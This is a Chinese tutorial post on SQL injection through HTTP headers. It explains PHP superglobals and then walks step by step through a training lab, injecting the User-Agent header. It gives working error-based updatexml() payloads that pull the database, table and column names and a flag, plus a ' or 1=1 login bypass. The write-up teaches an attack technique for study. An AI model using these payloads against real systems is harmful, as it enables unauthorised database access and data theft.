SQL注入-Header注入-1
知识梳理
什么是Header注入
- Header注入,该注入是指利用后端验证客户端口信息(比如常用的cookie验证)或者通过Header中获取客户端的一些信息(比如User-Agent用户代理等其他Header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有进过相对应的信息处理所以构成了sql注入。
超全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
常用的:
$_SERVER[‘HTTP_HOST’] 请求头信息中的Host内容,获取当前域名。
$_SERVER[“HTTP_USER_AGENT”] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER[“REMOTE_ADDR”] 浏览网页的用户ip。
靶场演示一
url:http://inject2.lab.aqlab.cn:81/Pass-07/index.php
输入' or 1=1 --1
发现网页使用了正则过滤,不能通过闭合方式注入;
查看源码发现可以通过万能密码绕过,这样获得了用户密码;
通过刚刚查看源码不难发现网页会记录User-Agent的数据,通过insert语句插到数据库中
1. 判断闭合符
根据源码,不难发现记录User-Agent的内容是通过单引号闭合的
2. 判断注入点
注入点就是http请求头User-Agent
3. 猜测字段数
利用burpsuite抓包工具构建User-Agent1','2') -- q
页面没有报错,确认插入User-Agent值在表格第二字段
4. 查询库名
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
构建语句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
结合代码将语句修改为 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- q
得出库名为:head_error
5. 查询表名
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'2') -- q
(使用and不行,这里用or,建议and和or都测试一下)
多次更改limit
数值得到flag_head,ip,refer,uagent,user这五个表,选择flag_head表
6.查询字段名
'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head' limit 0,1) ,0x7e),1),'2') -- q
多次更改limit
数值得到该表字段有id,flag_h1两个
7.查询内容
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1),'2') -- q
得到flag为:zKaQ-YourHd
- 点赞
- 收藏
- 关注作者
评论(0)